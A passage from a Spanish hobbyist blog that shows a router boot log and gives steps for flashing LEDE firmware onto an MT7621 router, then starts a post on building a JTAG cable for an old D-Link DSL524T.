<b>Uboot identify string is mt7621:s1200en:0.1.4(U-Boot 1.1.3 (Sep 19 2016 - 17:11:09))</b></div>
<div>
<b><br /></b></div>
<div>
<b>Board: Ralink APSoC DRAM: 128 MB</b></div>
<div>
<b>relocate_code Pointer at: 87fb8000</b></div>
<div>
<b><br /></b></div>
<div>
<b>Config XHCI 40M PLL </b></div>
<div>
<b>flash manufacture id: c2, device id 20 18</b></div>
<div>
<b>find flash: MX25L12805D</b></div>
<div>
*** Warning - bad CRC, using default environment</div>
<div>
<br /></div>
<div>
============================================ </div>
<div>
Ralink UBoot Version: 4.2.1.0</div>
<div>
-------------------------------------------- </div>
<div>
ASIC 7621_MP (MAC to MT7530 Mode)</div>
<div>
DRAM_CONF_FROM: Auto-Detection </div>
<div>
DRAM_TYPE: DDR3 </div>
<div>
DRAM bus: 16 bit</div>
<div>
Xtal Mode=3 OCP Ratio=1/3</div>
<div>
Flash component: SPI Flash</div>
<div>
Date:Sep 19 2016 Time:17:11:09</div>
<div>
============================================ </div>
<div>
icache: sets:256, ways:4, linesz:32 ,total:32768</div>
<div>
dcache: sets:256, ways:4, linesz:32 ,total:32768 </div>
<div>
<br /></div>
<div>
##### The CPU freq = 880 MHZ #### </div>
<div>
estimate memory size =128 Mbytes</div>
<div>
#Reset_MT7530</div>
<div>
set LAN/WAN LLLLW</div>
<div>
<br /></div>
<div>
<b>Please choose the operation: </b></div>
<div>
<b> 1: Load system code to SDRAM via TFTP. </b></div>
<div>
<b> 2: Load system code then write to Flash via TFTP. </b></div>
<div>
<b> 3: Boot system code via Flash (default).</b></div>
<div>
<b> 4: Entr boot command line interface.</b></div>
<div>
<b> 7: Load Boot Loader code then write to Flash via Serial. </b></div>
<div>
<b> 9: Load Boot Loader code then write to Flash via TFTP. </b></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
You choosed 3</div>
<div>
<br /></div>
<div>
0 </div>
<div>
Upgrade mode read(-1:0:0)</div>
<div>
</div>
<div>
3: System Boot system code via Flash.</div>
<div>
## Booting image at bfc50000 ...</div>
<div>
Image Name: OpenWrt Linux-3.10.14</div>
<div>
Image Type: MIPS Linux Kernel Image (lzma compressed)</div>
<div>
Data Size: 1555786 Bytes = 1.5 MB</div>
<div>
Load Address: 80001000</div>
<div>
Entry Point: 80001000</div>
<div>
Verifying Checksum ... OK</div>
<div>
Uncompressing Kernel Image ... OK</div>
<div>
No initrd</div>
<div>
## Transferring control to Linux (at address 80001000) ...</div>
<div>
## Giving linux memsize in MB, 128</div>
<div>
<br /></div>
<div>
Starting kernel ...</div>
<div>
<br /></div>
<div>
<br /></div>
<div>
LINUX started...</div>
<div>
<br /></div>
<div>
THIS IS ASIC</div>
<div>
<br /></div>
<div>
SDK 5.0.S.0</div>
<div>
[ 0.000000] <b>Linux version 3.10.14 (yibo@cmp-server) (gcc version 4.8.3 (OpenWrt/Linaro GCC 4.8-2014.04 r9) ) #1 SMP Thu Nov 3 13:15:31 CST 2016</b></div>
<div>
[ 0.000000] </div>
<div>
[ 0.000000] The CPU feqenuce set to 880 MHz</div>
<div>
[ 0.000000] GCMP present</div>
<div>
[ 0.000000] CPU0 revision is: 0001992f (MIPS 1004Kc)</div>
<div>
[ 0.000000] Software DMA cache coherency</div>
<div>
[ 0.000000] Determined physical RAM map:</div>
<div>
[ 0.000000] memory: 08000000 @ 00000000 (usable)</div>
<div>
[ 0.000000] Initrd not found or empty - disabling initrd</div>
<div>
[ 0.000000] Zone ranges:</div>
<div>
[ 0.000000] Normal [mem 0x00000000-0x07ffffff]</div>
<div>
[ 0.000000] Movable zone start for each node</div>
<div>
[ 0.000000] Early memory node ranges</div>
<div>
[ 0.000000] node 0: [mem 0x00000000-0x07ffffff]</div>
<div>
[ 0.000000] Detected 3 available secondary CPU(s)</div>
<div>
[ 0.000000] Primary instruction cache 32kB, 4-way, VIPT, linesize 32 bytes.</div>
<div>
[ 0.000000] Primary data cache 32kB, 4-way, PIPT, no aliases, linesize 32 bytes</div>
<div>
[ 0.000000] MIPS secondary cache 256kB, 8-way, linesize 32 bytes.</div>
<div>
[ 0.000000] PERCPU: Embedded 7 pages/cpu @81103000 s6400 r8192 d14080 u32768</div>
<div>
[ 0.000000] Built 1 zonelists in Zone order, mobility grouping on. Total pages: 32512</div>
<div>
[ 0.000000] Kernel command line: console=ttyS1,57600n8 root=/dev/mtdblock5 rootfstype=squashfs,jffs2</div>
<div>
[ 0.000000] PID hash table entries: 512 (order: -1, 2048 bytes)</div>
<div>
[ 0.000000] Dentry cache hash table entries: 16384 (order: 4, 65536 bytes)</div>
<div>
[ 0.000000] Inode-cache hash table entries: 8192 (order: 3, 32768 bytes)</div>
<div>
[ 0.000000] Writing ErrCtl register=0007a542</div>
<div>
[ 0.000000] Readback ErrCtl register=0007a542</div>
<div>
[ 0.000000] Memory: 125148k/131072k available (3370k kernel code, 5924k reserved, 841k data, 264k init, 0k highmem)</div>
<div>
[ 0.000000] Hierarchical RCU implementation.</div>
<div>
[ 0.000000] NR_IRQS:128</div>
<div>
[ 0.000000] console [ttyS1] enabled</div>
<div>
[ 0.116000] Calibrating delay loop... 562.17 BogoMIPS (lpj=1124352)</div>
<div>
[ 0.148000] pid_max: default: 32768 minimum: 301</div>
<div>
[ 0.152000] Mount-cache hash table entries: 512</div>
<div>
[ 0.156000] launch: starting cpu1</div>
<div>
[ 0.160000] launch: cpu1 gone!</div>
<div>
[ 0.160000] CPU1 revision is: 0001992f (MIPS 1004Kc)</div>
<div>
[ 0.160000] Primary instruction cache 32kB, 4-way, VIPT, linesize 32 bytes.</div>
<div>
[ 0.160000] Primary data cache 32kB, 4-way, PIPT, no aliases, linesize 32 bytes</div>
<div>
[ 0.160000] MIPS secondary cache 256kB, 8-way, linesize 32 bytes.</div>
<div>
[ 0.192000] Synchronize counters for CPU 1: done.</div>
<div>
[ 0.200000] launch: starting cpu2</div>
<div>
[ 0.204000] launch: cpu2 gone!</div>
<div>
[ 0.204000] CPU2 revision is: 0001992f (MIPS 1004Kc)</div>
<div>
[ 0.204000] Primary instruction cache 32kB, 4-way, VIPT, linesize 32 bytes.</div>
<div>
[ 0.204000] Primary data cache 32kB, 4-way, PIPT, no aliases, linesize 32 bytes</div>
<div>
[ 0.204000] MIPS secondary cache 256kB, 8-way, linesize 32 bytes.</div>
<div>
[ 0.232000] Synchronize counters for CPU 2: done.</div>
<div>
[ 0.240000] launch: starting cpu3</div>
<div>
[ 0.244000] launch: cpu3 gone!</div>
<div>
[ 0.244000] CPU3 revision is: 0001992f (MIPS 1004Kc)</div>
<div>
[ 0.244000] Primary instruction cache 32kB, 4-way, VIPT, linesize 32 bytes.</div>
<div>
[ 0.244000] Primary data cache 32kB, 4-way, PIPT, no aliases, linesize 32 bytes</div>
<div>
[ 0.244000] MIPS secondary cache 256kB, 8-way, linesize 32 bytes.</div>
<div>
[ 0.272000] Synchronize counters for CPU 3: done.</div>
<div>
[ 0.280000] Brought up 4 CPUs</div>
<div>
[ 0.284000] NET: Registered protocol family 16</div>
<div>
[ 0.576000] release PCIe RST: RALINK_RSTCTRL = 7000000</div>
<div>
[ 0.580000] PCIE PHY initialize</div>
<div>
[ 0.584000] ***** Xtal 40MHz *****</div>
<div>
[ 0.588000] start MT7621 PCIe register access</div>
<div>
[ 1.164000] RALINK_RSTCTRL = 7000000</div>
<div>
[ 1.168000] RALINK_CLKCFG1 = 77ffeff8</div>
<div>
[ 1.172000] </div>
</span></span></div>
<div style="text-align: justify;">
<span style="color: #333333; font-family: "helvetica" , "arial" , sans-serif; font-size: 15.6096px;">....</span></div>
<div style="text-align: justify;">
<span style="color: #333333; font-family: "helvetica" , "arial" , sans-serif; font-size: 15.6096px;"><br /></span></div>
<div style="text-align: justify;">
<span style="color: #333333; font-family: "helvetica" , "arial" , sans-serif;"><span style="font-size: 15.6096px;">Habiendo arrancado, tenemos el siguiente shell busybox</span></span></div>
<div style="text-align: justify;">
<span style="color: #333333; font-family: "helvetica" , "arial" , sans-serif;"><span style="font-size: 15.6096px;"><br /></span></span></div>
<div style="text-align: justify;">
<pre style="color: #333333; font-family: monospace, sans-serif; font-size: 15.1413px; max-height: 35em; min-height: 2em; overflow: auto; padding: 0px 15.2656px 0.1em 0px; text-align: left; width: 748.5px;"><code style="font-family: monospace, sans-serif; font-size: 1em;">BusyBox v1.22.1 (2016-11-03 13:11:16 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
_______ ________ __
| |.-----.-----.-----.| | | |.----.| |_
| - || _ | -__| || | | || _|| _|
|_______|| __|_____|__|__||________||__| |____|
|__| W I R E L E S S F R E E D O M
-----------------------------------------------------
<b>BARRIER BREAKER (Barrier Breaker, r37)</b>
-----------------------------------------------------
* 1/2 oz Galliano Pour all ingredients into
* 4 oz cold Coffee an irish coffee mug filled
* 1 1/2 oz Dark Rum with crushed ice. Stir.
* 2 tsp. Creme de Cacao
-----------------------------------------------------
MTK OpenWrt SDK V3.4
revision : benchmark : APSoC SDK 5.0.1.0
kernel : 144992</code></pre>
</div>
<div style="text-align: justify;">
<span style="color: #333333; font-family: "helvetica" , "arial" , sans-serif; font-size: 15.6096px;"><br /></span></div>
<div style="text-align: justify;">
<span style="color: #333333; font-family: "helvetica" , "arial" , sans-serif;"><span style="font-size: 15.6096px;">Aparte de lo austera de la interfaz web, no hay actualizaciones de firmware por parte del fabricante ni soporte Openwrt. De hecho, si entramos por telnet podemos ver que las actualizaciones opkg van a direcciones inexistentes (Barrier Breaker mt7621). </span></span><span style="color: #333333; font-family: "helvetica" , "arial" , sans-serif; font-size: 15.6096px;">La cuestión es entonces incorporarle algún firmware de código abierto, pero hay pocas posibilidades en este momento. En <a href="https://forum.openwrt.org/viewtopic.php?id=71296" rel="nofollow" target="_blank">esta página</a> de los foros de Openwrt hablaban de que hay soporte abierto LEDE, que es lo que vamos a instalar (<a href="https://lwn.net/Articles/686767/" rel="nofollow" target="_blank">sobre OpenWrt y LEDE interesante discusión</a>)</span></div>
<div style="text-align: justify;">
<span style="color: #333333; font-family: "helvetica" , "arial" , sans-serif; font-size: 15.6096px;"><br /></span></div>
<div style="text-align: justify;">
<span style="color: #333333; font-family: "helvetica" , "arial" , sans-serif; font-size: 15.6096px;">Como se dice <a href="https://git.kos.org.cn/ljh1992/source/commit/9b35815f0f0e10125d144c82595bbccbc83d6812" rel="nofollow" target="_blank">aquí</a>:</span></div>
<div style="text-align: justify;">
<span style="color: #333333; font-family: "helvetica" , "arial" , sans-serif; font-size: 15.6096px;"><i><br /></i></span></div>
<div style="text-align: justify;">
<div>
<i>Firmware update page on the stock web interface can not accept sysupgrade </i><i>images, it bricks the device. At this point, <b>the only working solution I found was to connect to the serial console port (available on J4 header) and to use opkg to install </b></i><b><i>dropbear. Then scp the sysupgrade file in the device's /tmp and run sysupgrade from </i><i>console without preserving configuration files.</i></b></div>
<div>
<b><i><br /></i></b></div>
<div>
Para instalar LEDE seguiremos esa idea + los requisitos propios de este firmware que comentan <a href="https://forum.lede-project.org/t/missing-2-4ghz-radio-afoundry-ew1200/4530" rel="nofollow" target="_blank">aquí</a> en el LEDE project forum:</div>
<div>
<br /></div>
<div>
<div style="background-color: white; color: #222222; font-family: Helvetica, Arial, sans-serif; font-size: 14px; margin-bottom: 0.5em; text-align: start;">
<i>File i've used (<a href="https://downloads.lede-project.org/snapshots/targets/ramips/mt7621/" rel="nofollow noopener" style="background: transparent; color: #0088cc; cursor: pointer; text-decoration-line: none; word-wrap: break-word;">here</a>):</i></div>
<div style="background-color: white; color: #222222; font-family: Helvetica, Arial, sans-serif; font-size: 14px; margin-bottom: 0.5em; text-align: start;">
<i><br />- ew1200-initramfs-kernel.bin<br />- ew1200-squashfs-sysupgrade.bin</i></div>
<div style="background-color: white; color: #222222; font-family: Helvetica, Arial, sans-serif; font-size: 14px; margin-bottom: 0.5em; text-align: start;">
<i>How i've proceed:</i></div>
<div style="background-color: white; color: #222222; font-family: Helvetica, Arial, sans-serif; font-size: 14px; margin-bottom: 0.5em; text-align: start;">
<i><br />- Serial header to force TFTP Flash over Ethernet (initramfs-kernel.bin)<br />- Winscp to copy and do sysupgrade (squashfs-sysupgrade.bin)<br />- Wired WAN, reboot, and install LUCI</i></div>
</div>
</div>
<div>
<span style="background-color: rgba(255 , 255 , 255 , 0.8); color: #333333; font-family: "helvetica" , "arial" , sans-serif; font-size: 15.6096px;"><br /></span></div>
<div>
Tenemos que instalar primero el kernel via serial y con la opción 2 del bootloader</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7kZ-6bmDLGk9wtVM58a3JWw8tMDI-oAQ0Qx054jXEBh5SH5yZWcJkskKVav1cwM30pffL7H6C9Cq1lQFtNMoidBXYGpTTEGD7Bn490-SMHhFtwadWL9nqbsvFogJu28hU1LUPpXnW_Jg/s1600/20170711_031805.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="900" data-original-width="1600" height="360" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7kZ-6bmDLGk9wtVM58a3JWw8tMDI-oAQ0Qx054jXEBh5SH5yZWcJkskKVav1cwM30pffL7H6C9Cq1lQFtNMoidBXYGpTTEGD7Bn490-SMHhFtwadWL9nqbsvFogJu28hU1LUPpXnW_Jg/s640/20170711_031805.jpg" width="640" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<div style="text-align: justify;">
Hay que pulsar rápidamente al conectar por serial. Podemos usar cualquier programa TFTP, pero lo importante es conectar el router por un puerto Ethernet, nunca por el WAN pues no funcionaría. El bootloader nos pide que configuremos su ip y la del servidor, y luego se conectará automáticamente.</div>
</div>
<div>
<div style="text-align: justify;">
<br /></div>
</div>
<div>
<div style="text-align: justify;">
Instalado el <a href="https://downloads.lede-project.org/snapshots/targets/ramips/mt7621/lede-ramips-mt7621-ew1200-initramfs-kernel.bin" rel="nofollow" target="_blank">kernel </a> hay que hacer un sysupgrade, que podemos hacerlo por el serial o ya por telnet.</div>
</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHDfVjqj3omIK2j_Ks9VUmfj2nkqszderQQ22byDIUvGq0xJvBKqiDMP9lHw2iDikNoDH8CHJNA_-iNjG1p3AT_7f1g0FIDUohTQleqoMk5L2rwzt2TGR9x3gfFVE8px2XLUtawX6udE4/s1600/20170711_031700.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="900" data-original-width="1600" height="360" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHDfVjqj3omIK2j_Ks9VUmfj2nkqszderQQ22byDIUvGq0xJvBKqiDMP9lHw2iDikNoDH8CHJNA_-iNjG1p3AT_7f1g0FIDUohTQleqoMk5L2rwzt2TGR9x3gfFVE8px2XLUtawX6udE4/s640/20170711_031700.jpg" width="640" /></a></div>
<div>
<br /></div>
<div>
<div style="text-align: justify;">
<a href="https://wiki.openwrt.org/doc/howto/generic.sysupgrade" rel="nofollow" target="_blank">Ahora</a>,</div>
</div>
<div>
<div style="text-align: justify;">
<br /></div>
</div>
<div>
<div style="text-align: justify;">
1- Nos vamos a /tmp, </div>
</div>
<div>
<div style="text-align: justify;">
2- hacemos <b>wget https://downloads.lede-project.org/snapshots/targets/ramips/mt7621/lede-ramips-mt7621-ew1200-squashfs-sysupgrade.bin</b> y </div>
</div>
<div>
<div style="text-align: justify;">
3- luego <b>sysupgrade -v lede-ramips-mt7621-ew1200-squashfs-sysupgrade.bin</b></div>
</div>
<div>
<div style="text-align: justify;">
<b>4- reboot</b></div>
</div>
<div>
<div style="text-align: justify;">
<b><br /></b></div>
</div>
<div>
<div style="text-align: justify;">
Por último instalaremos la interfaz gráfica que no viene por defecto y es la luci:</div>
</div>
<div>
<div style="text-align: justify;">
<br /></div>
</div>
<div>
<div style="text-align: justify;">
- opkg update</div>
</div>
<div>
<div style="text-align: justify;">
- opkg install luci</div>
</div>
<div>
<div style="text-align: justify;">
<br /></div>
</div>
<div>
<div style="text-align: justify;">
Y ya podremos acceder al router via WEB con el firmware actualizado, que a partir de ahora podremos cambiarlo desde la propia interfaz gráfica.<br />
<br />
POST<br />
<br />
El router trae 4 puertos Ethernet y 1 WAN. Si queremos permanecer en el mismo nivel de red que el resto de equipos, que puedan estar conectados al receptor principal, debemos configurar el WAN como unmanaged y la LAN dejarla en estático con una ip de la red principal.</div>
</div>
<div>
<br /></div>
<div>
<a href="https://lede-project.org/" rel="nofollow" target="_blank"><b>Proyecto LEDE</b></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<span style="background-color: rgba(255 , 255 , 255 , 0.8); color: #333333; font-family: "helvetica" , "arial" , sans-serif; font-size: 15.6096px;"><br /></span></div>
</div>
josehttp://www.blogger.com/profile/07240396942621664293noreply@blogger.com2tag:blogger.com,1999:blog-7497320377221458624.post-68425025897063675702017-07-09T06:23:00.000-07:002017-07-09T11:52:40.366-07:00Openwrt en DSL524T+Jtag funcionamiento<div style="text-align: justify;">
Aunque es un router ADSL viejo, el <a href="https://wiki.openwrt.org/toh/d-link/dsl-524t" rel="nofollow" target="_blank">D-Link DSL524T</a> puede funcionar perfectamente con las líneas actuales, y en cualquier caso como switch. Aunque el <a href="http://www.routertech.org/viewtopic.php?f=16&t=335&p=6799#p6799" rel="nofollow" target="_blank">software</a> existente permite manipularlo via WEB (recomiendo sobre todo el programa Adam2App), tiene conexiones internas serie y <a href="https://wiki.openwrt.org/doc/hardware/port.jtag" rel="nofollow" target="_blank">JTAG</a>, esta última realmente potente y para casos extremos (bricked). </div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
El firmware en cuestión que podemos ponerle para actualizarlo es el barrier 14.07</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<a href="https://downloads.openwrt.org/barrier_breaker/14.07/ar7/generic/openwrt-ar7-generic-squashfs.bin" style="background-color: rgba(255, 255, 255, 0.8); color: #17649a; font-family: Helvetica, Arial, sans-serif; font-size: 14px; text-decoration-line: none; white-space: nowrap;">openwrt-ar7-generic-squashfs.bin</a></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
En esta página italiana lo explican bien</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<a href="http://www.aracne.name/linnotes/2009/07/openwrt-su-d-link-dsl-524t/" rel="nofollow" target="_blank">http://www.aracne.name/linnotes/2009/07/openwrt-su-d-link-dsl-524t/</a></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Yo me centraré en la conexión JTAG, que en este caso es de 14 pines (<span style="background-color: rgba(255 , 255 , 255 , 0.8); color: #333333; font-family: "arial" , sans-serif; font-size: 14px;">MIPS EJTAG 2.6). </span></div>
<div style="text-align: justify;">
<span style="background-color: rgba(255 , 255 , 255 , 0.8); color: #333333; font-family: "arial" , sans-serif; font-size: 14px;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCOJKW_VwTpTfuwYyrAs9EfLl2rVRVrjW5nL9PQc0X-VWrZT2DLVgfO8dFXHJo_poyAVXpDSRatgL1RLA5r14m16ZCmgUR6zpMIafvGQYm22Cg1pb0qJxk11DOcbfs6i-xCstzO9uKs3k/s1600/dsl-g604t+jtag.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="271" data-original-width="178" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCOJKW_VwTpTfuwYyrAs9EfLl2rVRVrjW5nL9PQc0X-VWrZT2DLVgfO8dFXHJo_poyAVXpDSRatgL1RLA5r14m16ZCmgUR6zpMIafvGQYm22Cg1pb0qJxk11DOcbfs6i-xCstzO9uKs3k/s1600/dsl-g604t+jtag.jpg" /></a></div>
<div style="text-align: justify;">
<span style="background-color: rgba(255 , 255 , 255 , 0.8); color: #333333; font-family: "arial" , sans-serif; font-size: 14px;"><br /></span></div>
<div style="text-align: justify;">
<span style="background-color: rgba(255 , 255 , 255 , 0.8); color: #333333; font-family: "arial" , sans-serif; font-size: 14px;">Podemos fabricarlo "fácilmente":</span></div>
<div style="text-align: justify;">
<span style="background-color: rgba(255 , 255 , 255 , 0.8); color: #333333; font-family: "arial" , sans-serif; font-size: 14px;"><br /></span></div>
<div style="text-align: justify;">
<span style="background-color: rgba(255 , 255 , 255 , 0.8); color: #333333; font-family: "arial" , sans-serif; font-size: 14px;">1- conector impresora macho: </span><span style="background-color: white; color: #111111; font-family: "amazon ember" , "arial" , sans-serif; font-size: 19px;"><a href="https://www.amazon.es/Pin-Male-Solder-Cup-DB25/dp/B06XZR9B6C/ref=sr_1_17?s=computers&ie=UTF8&qid=1499605095&sr=1-17&keywords=db25+male" rel="nofollow" target="_blank">25 Pin Male Solder Cup DB25</a></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjINPUJVgroltL48Kj-k0pXY3KIyIEf3njlmc5wDpZGBad71zY-HBk9xpY8RmXw4WmuhIIBDduGbtOFiu2nzNVdIBSlb89FChbrHAij4ETU-XIkmiD7k0U1GdqYEm91cUej4Tzecz1PWIY/s1600/31vuBkTV2ZL.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="282" data-original-width="282" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjINPUJVgroltL48Kj-k0pXY3KIyIEf3njlmc5wDpZGBad71zY-HBk9xpY8RmXw4WmuhIIBDduGbtOFiu2nzNVdIBSlb89FChbrHAij4ETU-XIkmiD7k0U1GdqYEm91cUej4Tzecz1PWIY/s1600/31vuBkTV2ZL.jpg" /></a></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="background-color: rgba(255 , 255 , 255 , 0.8); color: #333333; font-family: "arial" , sans-serif; font-size: 14px;">2- <a href="https://www.amazon.es/Sourcingmap-100-Ohm-Metal-Resistor-azul-marr%C3%B3n-10-unidades/dp/B00PZYO11K/ref=sr_1_sc_3?ie=UTF8&qid=1499605221&sr=8-3-spell&keywords=100+ohm+resistoris" rel="nofollow" target="_blank">resistencias 100 Ohm</a></span></div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjwbBWtVPErHBr7pGiZMdSatbbGXEjq8CUoiJDNjixWmNKiGDUfSmsq0ljwwZv5HLI_pVZ84KhqwxpotMdHM_jgnLsqQC4TdDvZQrE9oEIDJsEtGTOw6uQnfAMCKGFbJHdMCDc3herA5Zk/s1600/31D17nl7KuL.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="241" data-original-width="500" height="154" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjwbBWtVPErHBr7pGiZMdSatbbGXEjq8CUoiJDNjixWmNKiGDUfSmsq0ljwwZv5HLI_pVZ84KhqwxpotMdHM_jgnLsqQC4TdDvZQrE9oEIDJsEtGTOw6uQnfAMCKGFbJHdMCDc3herA5Zk/s320/31D17nl7KuL.jpg" width="320" /></a></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="color: #333333; font-family: "arial" , sans-serif;"><span style="background-color: rgba(255, 255, 255, 0.8); font-size: 14px;">3- un soldador</span></span></div>
<div style="text-align: justify;">
<span style="background-color: rgba(255 , 255 , 255 , 0.8); color: #333333; font-family: "arial" , sans-serif; font-size: 14px;"><br /></span></div>
<div style="text-align: justify;">
<span style="background-color: rgba(255 , 255 , 255 , 0.8); color: #333333; font-family: "arial" , sans-serif; font-size: 14px;">3- un ordenador viejo con windows xp y entrada LPT</span></div>
<div style="text-align: justify;">
<span style="background-color: rgba(255 , 255 , 255 , 0.8); color: #333333; font-family: "arial" , sans-serif; font-size: 14px;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgXjbhonjx2iT1R6TGkV0BBZB9WY_xlNQE33U1G0qPCok-CX870rplQHd8hyphenhyphen_QBJIlJ9ZgalEjcfgUypXJ_GHiIfUSiWmQ0QJKSwsT9oM0Vp_kw6RvGBRJhusCNv0wbJDc1xuMw6NviAk/s1600/20170709_141905.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="1314" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgXjbhonjx2iT1R6TGkV0BBZB9WY_xlNQE33U1G0qPCok-CX870rplQHd8hyphenhyphen_QBJIlJ9ZgalEjcfgUypXJ_GHiIfUSiWmQ0QJKSwsT9oM0Vp_kw6RvGBRJhusCNv0wbJDc1xuMw6NviAk/s640/20170709_141905.jpg" width="524" /></a></div>
<div style="text-align: justify;">
<span style="background-color: rgba(255 , 255 , 255 , 0.8); color: #333333; font-family: "arial" , sans-serif; font-size: 14px;"><br /></span></div>
<div style="text-align: justify;">
<span style="background-color: rgba(255 , 255 , 255 , 0.8); color: #333333; font-family: "arial" , sans-serif; font-size: 14px;"><br /></span></div>
<div style="text-align: justify;">
<span style="background-color: rgba(255 , 255 , 255 , 0.8); color: #333333; font-family: "arial" , sans-serif; font-size: 14px;">El ordenador tiene que ser antiguo por la velocidad de la CPU y el puerto LPT. En mi caso lo he probado con un Intel Pentium 4. La razón es que la conexión JTAG solo funciona bien a una baja velocidad, por lo que no funciona en ordenadores recientes aunque tengan puerto LPT.</span></div>
<div style="text-align: justify;">
<span style="background-color: rgba(255 , 255 , 255 , 0.8); color: #333333; font-family: "arial" , sans-serif; font-size: 14px;"><br /></span></div>
<div style="text-align: justify;">
<span style="background-color: rgba(255 , 255 , 255 , 0.8); color: #333333; font-family: "arial" , sans-serif; font-size: 14px;">Posibles esquemas del cable:</span></div>
<div style="text-align: justify;">
<span style="background-color: rgba(255 , 255 , 255 , 0.8); color: #333333; font-family: "arial" , sans-serif; font-size: 14px;"><br /></span></div>
<div style="text-align: justify;">
<span style="background-color: rgba(255 , 255 , 255 , 0.8); color: #333333; font-family: "arial" , sans-serif; font-size: 14px;">XILINX </span></div>
<div style="text-align: justify;">
<span style="background-color: rgba(255 , 255 , 255 , 0.8); color: #333333; font-family: "arial" , sans-serif; font-size: 14px;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2w24RtFaFqy2TQLJ3JkdIk4hUX0l9Qeot35nnTiiB02Smuh7UDE4N6qI27kR5QBOYakHH6pQtPMo99o7Pr3yLY24X_iTWxHgNBR4adIP9Ry76ZrSDUbOd72gbzpnsiPCvmEPJ_cHObpk/s1600/xilinx-type_cable.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="433" data-original-width="599" height="231" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2w24RtFaFqy2TQLJ3JkdIk4hUX0l9Qeot35nnTiiB02Smuh7UDE4N6qI27kR5QBOYakHH6pQtPMo99o7Pr3yLY24X_iTWxHgNBR4adIP9Ry76ZrSDUbOd72gbzpnsiPCvmEPJ_cHObpk/s320/xilinx-type_cable.jpg" width="320" /></a></div>
XILINX BUFFERED<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiw3Q2M_BZUutlGnCd1vjsQpy77ag6F2PoB9jtJz4hOdyL7b7r6rb3oR-h6GLVhNf_AucrBuRvtSs8u_dn9KQZDBPxwAgT_CxnKlPFMdY-TS7wTCjWTzGUhTznYwQIoygfWhSR6sXpZ2z4/s1600/xilinx-buffered.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="577" data-original-width="749" height="246" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiw3Q2M_BZUutlGnCd1vjsQpy77ag6F2PoB9jtJz4hOdyL7b7r6rb3oR-h6GLVhNf_AucrBuRvtSs8u_dn9KQZDBPxwAgT_CxnKlPFMdY-TS7wTCjWTzGUhTznYwQIoygfWhSR6sXpZ2z4/s320/xilinx-buffered.gif" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
XELOA<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZmk77zUFue9gRqGI_9Y1PlcFFMb_Pw8m-QjR_T4GdY_tOL63SZHaBgf6XrK86r8f9vtS8r7o064tdFF-_SE1UqFjEm4lFbJqotjc7t0sMU5FwOeqzcyedg87RSzpTwLG3Gd_YnmvhtBk/s1600/xeloa-cable.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="441" data-original-width="611" height="230" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZmk77zUFue9gRqGI_9Y1PlcFFMb_Pw8m-QjR_T4GdY_tOL63SZHaBgf6XrK86r8f9vtS8r7o064tdFF-_SE1UqFjEm4lFbJqotjc7t0sMU5FwOeqzcyedg87RSzpTwLG3Gd_YnmvhtBk/s320/xeloa-cable.jpg" width="320" /></a></div>
WIGGLER<br />
<div class="separator" style="clear: both; text-align: center;">
